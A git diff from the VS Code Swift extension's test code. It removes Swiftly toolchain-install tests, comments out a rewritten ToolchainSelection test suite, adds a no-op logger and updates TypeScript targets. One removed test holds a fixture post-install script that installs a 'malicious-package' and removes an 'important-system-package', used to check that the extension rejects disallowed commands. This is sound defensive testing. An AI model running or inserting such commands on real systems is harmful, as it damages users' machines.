- .withArgs("chmod", match.array) - .resolves({ stdout: "", stderr: "" }); - - // Mock execFileStreamOutput for pkexec - mockUtilities.execFileStreamOutput.resolves(); - - // @ts-expect-error mocking vscode window methods makes type checking difficult - mockVscodeWindow.showWarningMessage.resolves("Execute Script"); - - await Swiftly.installToolchain("6.0.0"); - - expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( - match( - "Swift 6.0.0 installation requires additional system packages to be installed" - ) - ); - expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( - "pkexec", - match.array, - match.any, - match.any, - null, - {} - ); - }); - - test("should handle malformed package manager commands in post-install script", async () => { - const malformedScript = `#!/bin/bash -apt-get install --unsafe-flag malicious-package -yum remove important-system-package`; - - mockUtilities.execFile - .withArgs("swiftly", [ - "install", - "6.0.0", - "--use", - "--assume-yes", - "--post-install-file", - match.string, - ]) - .callsFake(async (_command, args) => { - const postInstallPath = args[5]; - await fs.writeFile(postInstallPath, malformedScript); - return { stdout: "", stderr: "" }; - }); - - await Swiftly.installToolchain("6.0.0"); - - expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); - expect(mockVscodeWindow.showErrorMessage).to.have.been.calledWith( - match( - "Installation of Swift 6.0.0 requires additional system packages, but the post-install script contains commands that are not allowed for security reasons" - ) - ); - }); - - test("should ignore comments and empty lines in post-install script", async () => { - const scriptWithComments = `#!/bin/bash -# This is a comment - -apt-get -y install libncurses5-dev -# Another comment - -`; - - mockUtilities.execFile - .withArgs("swiftly", [ - "install", - "6.0.0", - "--use", - "--assume-yes", - "--post-install-file", - match.string, - ]) - .callsFake(async (_command, args) => { - const postInstallPath = args[5]; - await fs.writeFile(postInstallPath, scriptWithComments); - return { stdout: "", stderr: "" }; - }); - mockUtilities.execFile - .withArgs("chmod", match.array) - .resolves({ stdout: "", stderr: "" }); - - // Mock execFileStreamOutput for pkexec - mockUtilities.execFileStreamOutput.resolves(); - - // @ts-expect-error mocking vscode window methods makes type checking difficult - mockVscodeWindow.showWarningMessage.resolves("Execute Script"); - - await Swiftly.installToolchain("6.0.0"); - - expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( - match( - "Swift 6.0.0 installation requires additional system packages to be installed" - ) - ); - expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( - "pkexec", - match.array, - match.any, - match.any, - null, - {} - ); - }); - - test("should skip post-install handling on macOS", async () => { - mockedPlatform.setValue("darwin"); - mockUtilities.execFile.withArgs("swiftly").resolves({ stdout: "", stderr: "" }); - - // Test doesn't need mock filesystem, just ensure it's clean - try { - mockFS.restore(); - } catch { - // Ignore if not active - } - - await Swiftly.installToolchain("6.0.0"); - - expect(mockVscodeWindow.showWarningMessage).to.not.have.been.called; - expect(mockUtilities.execFile).to.not.have.been.calledWith("pkexec", match.array); - }); - }); -}); diff --git a/test/unit-tests/ui/ToolchainSelection.test.ts b/test/unit-tests/ui/ToolchainSelection.test.ts index 19472e5e4..aa5a418dd 100644 --- a/test/unit-tests/ui/ToolchainSelection.test.ts +++ b/test/unit-tests/ui/ToolchainSelection.test.ts @@ -1,326 +1,349 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VS Code Swift open source project -// -// Copyright (c) 2025 the VS Code Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VS Code Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// -import { expect } from "chai"; -import * as mockFS from "mock-fs"; -import * as sinon from "sinon"; -import { match, stub } from "sinon"; -import * as vscode from "vscode"; - -import { SwiftLogger } from "@src/logging/SwiftLogger"; -import { Swiftly } from "@src/toolchain/swiftly"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; -import * as ToolchainSelectionModule from "@src/ui/ToolchainSelection"; -import * as utilities from "@src/utilities/utilities"; -import { Version } from "@src/utilities/version"; - -import { mockGlobalModule, mockGlobalObject, mockGlobalValue } from "../../MockUtils"; - -suite("ToolchainSelection Unit Test Suite", () => { - const mockedUtilities = mockGlobalModule(utilities); - const mockedPlatform = mockGlobalValue(process, "platform"); - const mockedVSCodeWindow = mockGlobalObject(vscode, "window"); - const mockedVSCodeCommands = mockGlobalObject(vscode, "commands"); - const mockedVSCodeEnv = mockGlobalObject(vscode, "env"); - const mockedVSCodeWorkspace = mockGlobalObject(vscode, "workspace"); - let mockLogger: SwiftLogger; - - setup(() => { - mockFS({}); - mockedUtilities.execFile.reset(); - mockedPlatform.setValue("darwin"); - - mockLogger = { - info: () => {}, - warn: () => {}, - error: () => {}, - } as unknown as SwiftLogger; - - // Set up VSCode mocks - mockedVSCodeWindow.showQuickPick.resolves(undefined); - mockedVSCodeWindow.showOpenDialog.resolves(undefined); - mockedVSCodeWindow.showErrorMessage.resolves(undefined); - mockedVSCodeWindow.showWarningMessage.resolves(undefined); - mockedVSCodeWindow.showInformationMessage.resolves(undefined); - mockedVSCodeWindow.withProgress.callsFake(async (_options, task) => { - return await task({ report: () => {} }, {} as any); - }); - mockedVSCodeCommands.executeCommand.resolves(undefined); - mockedVSCodeEnv.openExternal.resolves(true); - - // Mock workspace configuration to prevent actual settings writes - const mockConfiguration = { - update: stub().resolves(), - inspect: stub().returns({}), - get: stub().returns(undefined), - has: stub().returns(false), - }; - mockedVSCodeWorkspace.getConfiguration.returns(mockConfiguration); - - // Mock SwiftToolchain static methods - stub(SwiftToolchain, "findXcodeInstalls").resolves([]); - stub(SwiftToolchain, "getToolchainInstalls").resolves([]); - stub(SwiftToolchain, "getXcodeDeveloperDir").resolves(""); - - // Mock Swiftly static methods - stub(Swiftly, "listAvailableToolchains").resolves([]); - stub(Swiftly, "listAvailable").resolves([]); - stub(Swiftly, "inUseVersion").resolves(undefined); - stub(Swiftly, "use").resolves(); - stub(Swiftly, "installToolchain").resolves(); - }); - - teardown(() => { - mockFS.restore(); - sinon.restore(); - }); - - suite("showToolchainSelectionQuickPick", () => { - function createMockActiveToolchain(options: { - swiftVersion: Version; - toolchainPath: string; - swiftFolderPath: string; - isSwiftlyManaged?: boolean; - }): SwiftToolchain { - return { - swiftVersion: options.swiftVersion, - toolchainPath: options.toolchainPath, - swiftFolderPath: options.swiftFolderPath, - isSwiftlyManaged: options.isSwiftlyManaged || false, - } as SwiftToolchain; - } - - test("should show quick pick with toolchain options", async () => { - const xcodeInstalls = ["/Applications/Xcode.app"]; - const toolchainInstalls = [ - "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain", - ]; - const swiftlyToolchains = ["swift-6.0.0"]; - const availableToolchains = [ - { - name: "6.0.1", - type: "stable" as const, - version: "6.0.1", - isInstalled: false, - }, - ]; - - (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).resolves(xcodeInstalls); - (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).resolves(toolchainInstalls); - (Swiftly.listAvailableToolchains as sinon.SinonStub).resolves(swiftlyToolchains); - (Swiftly.listAvailable as sinon.SinonStub).resolves(availableToolchains); - - await ToolchainSelectionModule.showToolchainSelectionQuickPick(undefined, mockLogger); - - expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; - expect(SwiftToolchain.findXcodeInstalls).to.have.been.called; - expect(SwiftToolchain.getToolchainInstalls).to.have.been.called; - expect(Swiftly.listAvailableToolchains).to.have.been.called; - }); - - test("should work on Linux platform", async () => { - mockedPlatform.setValue("linux"); - - (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).resolves([]); - (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).resolves([]); - (Swiftly.listAvailableToolchains as sinon.SinonStub).resolves([]); - (Swiftly.listAvailable as sinon.SinonStub).resolves([]); - - await ToolchainSelectionModule.showToolchainSelectionQuickPick(undefined, mockLogger); - - expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; - expect(SwiftToolchain.getToolchainInstalls).to.have.been.called; - expect(Swiftly.listAvailableToolchains).to.have.been.called; - }); - - test("should handle active toolchain correctly", async () => { - const activeToolchain = createMockActiveToolchain({ - swiftVersion: new Version(6, 0, 1), - toolchainPath: "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain/usr", - swiftFolderPath: - "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain/usr/bin", - isSwiftlyManaged: false, - }); - - const toolchainInstalls = [ - "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain", - ]; - - (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).resolves([]); - (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).resolves(toolchainInstalls); - (Swiftly.listAvailableToolchains as sinon.SinonStub).resolves([]); - (Swiftly.listAvailable as sinon.SinonStub).resolves([]); - - await ToolchainSelectionModule.showToolchainSelectionQuickPick( - activeToolchain, - mockLogger - ); - - expect(SwiftToolchain.getToolchainInstalls).to.have.been.called; - }); - - test("should handle Swiftly managed active toolchain", async () => { - const activeToolchain = createMockActiveToolchain({ - swiftVersion: new Version(6, 0, 0), - toolchainPath: "/home/user/.swiftly/toolchains/swift-6.0.0/usr", - swiftFolderPath: "/home/user/.swiftly/toolchains/swift-6.0.0/usr/bin", - isSwiftlyManaged: true, - }); - - const swiftlyToolchains = ["6.0.0", "6.1.0"]; - - (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).resolves([]); - (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).resolves([]); - (Swiftly.listAvailableToolchains as sinon.SinonStub).resolves(swiftlyToolchains); - (Swiftly.listAvailable as sinon.SinonStub).resolves([]); - (Swiftly.inUseVersion as sinon.SinonStub).resolves("6.0.0"); - - await ToolchainSelectionModule.showToolchainSelectionQuickPick( - activeToolchain, - mockLogger - ); - - expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; - }); - - test("should handle toolchain installation selection", async () => { - const installableToolchain = { - type: "toolchain", - category: "installable", - label: "$(cloud-download) 6.0.1 (stable)", - version: "6.0.1", - toolchainType: "stable", - onDidSelect: stub().resolves(), - }; - - mockedVSCodeWindow.showQuickPick.resolves(installableToolchain as any); - - (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).resolves([]); - (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).resolves([]); - (Swiftly.listAvailableToolchains as sinon.SinonStub).resolves([]); - (Swiftly.listAvailable as sinon.SinonStub).resolves([ - { - name: "6.0.1", - type: "stable" as const, - version: "6.0.1", - isInstalled: false, - }, - ]); - - await ToolchainSelectionModule.showToolchainSelectionQuickPick(undefined, mockLogger); - - expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; - }); - - test("should handle action item selection", async () => { - const actionItem = { - type: "action", - label: "$(cloud-download) Download from Swift.org...", - run: stub().resolves(), - }; - - mockedVSCodeWindow.showQuickPick.resolves(actionItem as any); - - (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).resolves([]); - (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).resolves([]); - (Swiftly.listAvailableToolchains as sinon.SinonStub).resolves([]); - (Swiftly.listAvailable as sinon.SinonStub).resolves([]); - - await ToolchainSelectionModule.showToolchainSelectionQuickPick(undefined, mockLogger); - - expect(actionItem.run).to.have.been.called; - }); - - test("should handle user cancellation", async () => { - mockedVSCodeWindow.showQuickPick.resolves(undefined); - - (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).resolves([]); - (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).resolves([]); - (Swiftly.listAvailableToolchains as sinon.SinonStub).resolves([]); - (Swiftly.listAvailable as sinon.SinonStub).resolves([]); - - await ToolchainSelectionModule.showToolchainSelectionQuickPick(undefined, mockLogger); - - // Should complete without error when user cancels - expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; - }); - - test("should handle errors gracefully", async () => { - (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).rejects( - new Error("Xcode search failed") - ); - (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).rejects( - new Error("Toolchain search failed") - ); - (Swiftly.listAvailableToolchains as sinon.SinonStub).rejects( - new Error("Swiftly list failed") - ); - (Swiftly.listAvailable as sinon.SinonStub).rejects( - new Error("Swiftly available failed") - ); - - await ToolchainSelectionModule.showToolchainSelectionQuickPick(undefined, mockLogger); - - expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; - }); - }); - - suite("downloadToolchain", () => { - test("should open external URL for Swift.org", async () => { - mockedVSCodeEnv.openExternal.resolves(true); - - await ToolchainSelectionModule.downloadToolchain(); - - expect(mockedVSCodeEnv.openExternal).to.have.been.calledWith( - match((uri: vscode.Uri) => uri.toString() === "https://www.swift.org/install") - ); - }); - }); - - suite("installSwiftly", () => { - test("should open external URL for Swiftly installation", async () => { - mockedVSCodeEnv.openExternal.resolves(true); - - await ToolchainSelectionModule.installSwiftly(); - - expect(mockedVSCodeEnv.openExternal).to.have.been.calledWith( - match((uri: vscode.Uri) => uri.toString() === "https://www.swift.org/install/") - ); - }); - }); - - suite("selectToolchainFolder", () => { - test("should show open dialog for folder selection", async () => { - const selectedFolder = [{ fsPath: "/custom/toolchain/path" }] as vscode.Uri[]; - mockedVSCodeWindow.showOpenDialog.resolves(selectedFolder); - - await ToolchainSelectionModule.selectToolchainFolder(); - - expect(mockedVSCodeWindow.showOpenDialog).to.have.been.calledWith({ - canSelectFiles: false, - canSelectFolders: true, - canSelectMany: false, - title: "Select the folder containing Swift binaries", - openLabel: "Select folder", - }); - }); - - test("should handle user cancellation", async () => { - mockedVSCodeWindow.showOpenDialog.resolves(undefined); - - await ToolchainSelectionModule.selectToolchainFolder(); - - expect(mockedVSCodeWindow.showOpenDialog).to.have.been.called; - }); - }); -}); +// // //===----------------------------------------------------------------------===// +// // // +// // // This source file is part of the VS Code Swift open source project +// // // +// // // Copyright (c) 2025 the VS Code Swift project authors +// // // Licensed under Apache License v2.0 +// // // +// // // See LICENSE.txt for license information +// // // See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// // // +// // // SPDX-License-Identifier: Apache-2.0 +// // // +// // //===----------------------------------------------------------------------===// +// import { expect } from "chai"; +// import * as mockFS from "mock-fs"; +// import { match, stub } from "sinon"; +// import * as vscode from "vscode"; + +// import { Environment } from "@src/services/Environment"; +// import { Swiftly } from "@src/swiftly/Swiftly"; +// import { SwiftlyError } from "@src/swiftly/SwiftlyError"; +// import { AvailableToolchain } from "@src/swiftly/types"; +// import { SwiftToolchain } from "@src/toolchain/SwiftToolchain"; +// import { ToolchainService } from "@src/toolchain/ToolchainService"; +// import { +// downloadToolchain, +// installSwiftly, +// selectToolchainFolder, +// showToolchainSelectionQuickPick, +// } from "@src/ui/ToolchainSelection"; +// import { Result } from "@src/utilities/result"; +// import { Version } from "@src/utilities/version"; + +// import { MockedObject, mockFn, mockGlobalObject, mockObject } from "../../MockUtils"; + +// suite("ToolchainSelection Unit Test Suite", () => { +// const mockedVSCodeEnv = mockGlobalObject(vscode, "env"); +// const mockedVSCodeWindow = mockGlobalObject(vscode, "window"); +// const mockedVSCodeWorkspace = mockGlobalObject(vscode, "workspace"); +// let mockedEnvironment: MockedObject; +// let mockedToolchainService: MockedObject; +// let mockedSwiftly: MockedObject; + +// setup(() => { +// mockedEnvironment = mockObject({ platform: "darwin" }); +// mockedToolchainService = mockObject({ +// findXcodeInstalls: mockFn(), +// getToolchainInstalls: mockFn(), +// }); +// mockedSwiftly = mockObject({ +// getActiveToolchain: mockFn(), +// getInstalledToolchains: mockFn(), +// getAvailableToolchains: mockFn(), +// }); +// // Mock workspace configuration to prevent actual settings writes +// const mockConfiguration = { +// update: stub().resolves(), +// inspect: stub().returns({}), +// get: stub().returns(undefined), +// has: stub().returns(false), +// }; +// mockedVSCodeWorkspace.getConfiguration.returns(mockConfiguration); +// }); + +// teardown(() => { +// mockFS.restore(); +// }); + +// suite("showToolchainSelectionQuickPick", () => { +// function createMockActiveToolchain(options: { +// swiftVersion: Version; +// toolchainPath: string; +// swiftFolderPath: string; +// isSwiftlyManaged?: boolean; +// }): SwiftToolchain { +// return { +// swiftVersion: options.swiftVersion, +// toolchainPath: options.toolchainPath, +// swiftFolderPath: options.swiftFolderPath, +// isSwiftlyManaged: options.isSwiftlyManaged || false, +// } as SwiftToolchain; +// } + +// test("should show quick pick with toolchain options", async () => { +// const xcodeInstalls = ["/Applications/Xcode.app"]; +// const toolchainInstalls = [ +// "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain", +// ]; +// const swiftlyToolchains = ["swift-6.0.0"]; +// const availableToolchains: AvailableToolchain[] = [ +// { +// installed: false, +// inUse: false, +// isDefault: false, +// version: { +// type: "stable", +// name: "6.0.1", +// major: 6, +// minor: 0, +// patch: 1, +// }, +// }, +// ]; + +// mockedToolchainService.findXcodeInstalls.resolves(xcodeInstalls); +// mockedToolchainService.getToolchainInstalls.resolves(toolchainInstalls); +// mockedSwiftly.getInstalledToolchains.resolves(Result.success(swiftlyToolchains)); +// mockedSwiftly.getAvailableToolchains.resolves(Result.success(availableToolchains)); + +// await showToolchainSelectionQuickPick( +// undefined, +// mockedEnvironment, +// mockedToolchainService, +// mockedSwiftly, +// undefined +// ); + +// expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; +// expect(mockedToolchainService.findXcodeInstalls).to.have.been.called; +// expect(mockedToolchainService.getToolchainInstalls).to.have.been.called; +// expect(mockedSwiftly.getInstalledToolchains).to.have.been.called; +// }); + +// test("should work on Linux platform", async () => { +// mockedEnvironment.platform = "linux"; + +// await showToolchainSelectionQuickPick( +// undefined, +// mockedEnvironment, +// mockedToolchainService, +// mockedSwiftly, +// undefined +// ); + +// expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; +// expect(mockedToolchainService.getToolchainInstalls).to.have.been.called; +// expect(mockedSwiftly.getInstalledToolchains).to.have.been.called; +// }); + +// test("should handle active toolchain correctly", async () => { +// const activeToolchain = createMockActiveToolchain({ +// swiftVersion: new Version(6, 0, 1), +// toolchainPath: "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain/usr", +// swiftFolderPath: +// "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain/usr/bin", +// isSwiftlyManaged: false, +// }); + +// const toolchainInstalls = [ +// "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain", +// ]; +// mockedToolchainService.getToolchainInstalls.resolves(toolchainInstalls); + +// await showToolchainSelectionQuickPick( +// activeToolchain, +// mockedEnvironment, +// mockedToolchainService, +// mockedSwiftly, +// undefined +// ); + +// expect(mockedToolchainService.getToolchainInstalls).to.have.been.called; +// }); + +// test("should display Swiftly toolchains in a quick pick", async () => { +// // GIVEN Swiftly.list() returns 6.0.0 and 6.1.0 +// // AND Swiftly.inUseVersion() returns 6.0.0 +// // AND the user cancels the quick pick dialog +// mockedSwiftly.getInstalledToolchains.resolves(Result.success(["6.0.0", "6.1.0"])); +// mockedSwiftly.getActiveToolchain.resolves( +// Result.success({ location: "", name: "6.0.0" }) +// ); +// mockedVSCodeWindow.showQuickPick.resolves(undefined); + +// // WHEN showToolchainSelectionQuickPick() is called +// await showToolchainSelectionQuickPick( +// createMockActiveToolchain({ +// swiftVersion: new Version(6, 0, 0), +// toolchainPath: "/home/user/.swiftly/toolchains/swift-6.0.0/usr", +// swiftFolderPath: "/home/user/.swiftly/toolchains/swift-6.0.0/usr/bin", +// isSwiftlyManaged: true, +// }), +// mockedEnvironment, +// mockedToolchainService, +// mockedSwiftly, +// undefined +// ); + +// // THEN a quick pick should display the Swiftly toolchains to the user +// expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; +// }); + +// test("should handle toolchain installation selection", async () => { +// const installableToolchain = mockObject({ +// type: "toolchain", +// category: "installable", +// label: "$(cloud-download) 6.0.1 (stable)", +// version: "6.0.1", +// toolchainType: "stable", +// onDidSelect: mockFn(s => s.resolves()), +// }); + +// mockedVSCodeWindow.showQuickPick.resolves(installableToolchain as any); + +// mockedToolchainService.findXcodeInstalls.resolves([]); +// mockedToolchainService.getToolchainInstalls.resolves([]); +// mockedSwiftly.getInstalledToolchains.resolves(Result.success([])); +// mockedSwiftly.getAvailableToolchains.resolves( +// Result.success([ +// { +// inUse: true, +// installed: true, +// isDefault: false, +// version: { +// type: "stable", +// name: "6.0.1", +// major: 6, +// minor: 0, +// patch: 1, +// }, +// }, +// ]) +// ); + +// await showToolchainSelectionQuickPick( +// undefined, +// mockedEnvironment, +// mockedToolchainService, +// mockedSwiftly, +// undefined +// ); + +// expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; +// }); + +// test("should handle action item selection", async () => { +// const actionItem = { +// type: "action", +// label: "$(cloud-download) Download from Swift.org...", +// run: stub().resolves(), +// }; + +// mockedVSCodeWindow.showQuickPick.resolves(actionItem as any); + +// mockedToolchainService.findXcodeInstalls.resolves([]); +// mockedToolchainService.getToolchainInstalls.resolves([]); +// mockedSwiftly.getInstalledToolchains.resolves(Result.success([])); +// mockedSwiftly.getAvailableToolchains.resolves(Result.success([])); + +// await showToolchainSelectionQuickPick( +// undefined, +// mockedEnvironment, +// mockedToolchainService, +// mockedSwiftly, +// undefined +// ); + +// expect(actionItem.run).to.have.been.called; +// }); + +// test("should handle user cancellation", async () => { +// mockedVSCodeWindow.showQuickPick.resolves(undefined); + +// mockedToolchainService.findXcodeInstalls.resolves([]); +// mockedToolchainService.getToolchainInstalls.resolves([]); +// mockedSwiftly.getInstalledToolchains.resolves(Result.success([])); +// mockedSwiftly.getAvailableToolchains.resolves(Result.success([])); + +// await showToolchainSelectionQuickPick( +// undefined, +// mockedEnvironment, +// mockedToolchainService, +// mockedSwiftly, +// undefined +// ); + +// // Should complete without error when user cancels +// expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; +// }); + +// test("should handle errors gracefully", async () => { +// mockedToolchainService.findXcodeInstalls.rejects(new Error("Xcode search failed")); +// mockedToolchainService.getToolchainInstalls.rejects( +// new Error("Toolchain search failed") +// ); +// mockedSwiftly.getInstalledToolchains.rejects(Result.failure(SwiftlyError.unknown())); +// mockedSwiftly.getAvailableToolchains.resolves(Result.failure(SwiftlyError.unknown())); + +// await showToolchainSelectionQuickPick( +// undefined, +// mockedEnvironment, +// mockedToolchainService, +// mockedSwiftly, +// undefined +// ); + +// expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; +// }); +// }); + +// suite("downloadToolchain", () => { +// test("should open external URL for Swift.org", async () => { +// mockedVSCodeEnv.openExternal.resolves(true); + +// await downloadToolchain(); + +// expect(mockedVSCodeEnv.openExternal).to.have.been.calledWith( +// match((uri: vscode.Uri) => uri.toString() === "https://www.swift.org/install") +// ); +// }); +// }); + +// suite("installSwiftly", () => { +// test("should open external URL for Swiftly installation", async () => { +// mockedVSCodeEnv.openExternal.resolves(true); + +// await installSwiftly(); + +// expect(mockedVSCodeEnv.openExternal).to.have.been.calledWith( +// match((uri: vscode.Uri) => uri.toString() === "https://www.swift.org/install/") +// ); +// }); +// }); + +// suite("selectToolchainFolder", () => { +// test("should show open dialog for folder selection", async () => { +// const selectedFolder = [{ fsPath: "/custom/toolchain/path" }] as vscode.Uri[]; +// mockedVSCodeWindow.showOpenDialog.resolves(selectedFolder); + +// await selectToolchainFolder(); + +// expect(mockedVSCodeWindow.showOpenDialog).to.have.been.calledWith({ +// canSelectFiles: false, +// canSelectFolders: true, +// canSelectMany: false, +// title: "Select the folder containing Swift binaries", +// openLabel: "Select folder", +// }); +// }); + +// test("should handle user cancellation", async () => { +// mockedVSCodeWindow.showOpenDialog.resolves(undefined); + +// await selectToolchainFolder(); + +// expect(mockedVSCodeWindow.showOpenDialog).to.have.been.called; +// }); +// }); +// }); diff --git a/test/utilities/NullLogger.ts b/test/utilities/NullLogger.ts new file mode 100644 index 000000000..26c0af5b5 --- /dev/null +++ b/test/utilities/NullLogger.ts @@ -0,0 +1,22 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { Logger } from "@src/logging/Logger"; + +/** A logger that does nothing when called. */ +export class NullLogger implements Logger { + debug(): void {} + info(): void {} + warn(): void {} + error(): void {} +} diff --git a/tsconfig-base.json b/tsconfig-base.json index b2cabb90b..0a88c91b3 100644 --- a/tsconfig-base.json +++ b/tsconfig-base.json @@ -5,8 +5,8 @@ "rootDir": ".", "outDir": "dist", - "lib": ["ES2021"], - "target": "ES2020", + "lib": ["ES2022"], + "target": "ES2022", "module": "commonjs", "strict": true,